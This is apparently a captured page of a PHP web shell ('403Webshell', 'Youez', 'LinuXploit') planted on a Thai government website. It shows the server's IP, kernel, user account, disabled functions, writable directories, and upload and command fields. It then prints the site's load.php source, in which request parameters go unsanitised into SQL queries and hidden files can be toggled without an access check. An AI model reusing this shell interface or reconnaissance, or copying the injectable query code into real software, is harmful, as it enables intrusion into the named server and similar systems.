403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.141.244.88
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/load/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/load/load.php
<?php
$navig['blog']=$data_name_menu_sub[name];
navigator($navig);

bar_header($_SESSION[bar_name]); // Bar_Header
fieldset_top($_SESSION[bar_name]);


import_request_variables('pG', 'p_');
if($p_id_group!="")						{  $id_group=trim($p_id_group);									}
if($p_id_group!="")						{  $id_group=trim($p_id_group);									}
if($p_show_download!="")			{  $show_download=trim($p_show_download);		}
if($p_id_sub1!="")							{  $id_sub1=trim($p_id_sub1);										}
if($p_update_state!="")				{  $update_state=trim($p_update_state);				}

if($id_type=="") $id_type=1;

	// หัวข้อย่อย
if($show_download=="1" and $id_sub1!=""){
		$sql="UPDATE `cms_file` SET `status` = '1' WHERE id='$id_sub1'";
		mysql_query($sql);
		}
else if($show_download=="0" and $id_sub1!=""){
		$sql="UPDATE `cms_file` SET `status` = '0' WHERE id='$id_sub1'";
		mysql_query($sql);
		}


// ###################Add download ########################
if($_SESSION['admin_web']=="admin" or (id_sub_permission($_SESSION[id_sub]))==1){
		button_add("index.php?mod=adddownload_form&path=load"); // Add_Load
}

// ################## ส่วนดาวน์โหลดย่อย ##########################
echo"<table width='98%' border='0' align='center' cellpadding='1' cellspacing='1' bgcolor='$datatm[color1]'>";
if($_SESSION['admin_web']=="admin" or (id_sub_permission($_SESSION[id_sub]))==1){
	$sqls="SELECT * FROM cms_file WHERE id_sub='$_SESSION[id_sub]' order by id desc";
}else{
		$sqls="SELECT * FROM cms_file WHERE  id_sub='$_SESSION[id_sub]' and status='1' order by id desc";
}
		$results=mysql_query($sqls);
		 while ($datas = mysql_fetch_array($results))
					 {
			echo"  <tr  bgcolor='eeeeee' height='22'>";

				echo"<td width='65%'>&nbsp;&nbsp;&nbsp;&nbsp;<img src='coremain/images/marker.gif'>&nbsp;$datas[topic]</td>";
				echo"<td width='15%' align=center>$datas[date_post]</a></td>";
				echo"<td width='10%' align=center><a href='$_SESSION[web_name]/mainfile/$datas[files]' target='_blank'>เปิดอ่าน</a></td>";
			
							if($_SESSION['admin_web']=="admin" or (id_sub_permission($_SESSION[id_sub]))==1){
											echo"<td align='center' bgcolor='eeeeee' width='15%'>&nbsp;	&nbsp;&nbsp; ";
											// แสดง ซ่อน
												if($datas[status]=="1") {
																echo "<a href='index.php?mod=load&id_sub1=$datas[id]&show_download=0&path=load'><img src='coremain/images/show.gif' border='0' title='ซ่อนข้อมูล'></a>"; }
												else {
																echo "<a href='index.php?mod=load&id_sub1=$datas[id]&show_download=1&path=load'><img src='coremain/images/hide.gif' border='0' title='แสดงข้อมูล'></a>"; }
											// แก้ไข
																echo "&nbsp;&nbsp;<a href='index.php?mod=edit_download&id_sub1=$datas[id]&update_download_s=1&link1=download&path=load'><img src='coremain/images/edit.gif' border='0' title='$title_edit'></a>";
											// ลบ
																echo "&nbsp;&nbsp;<a href='index.php?mod=del_download&ids=$datas[id]&del_download_s=1&path=load'><img src='coremain/images/del1.gif' border='0' onclick='return goURLdel();' title='ลบข้อมูล'></a>";
											echo"</td>";
							}
			echo"  </tr>";
			echo "<tr height='10' bgcolor='ffffff'><td colspan=3></td></tr>";
}
echo"</table>";


fieldset_down();
?>



Youez - 2016 - github.com/yon3zu
LinuXploit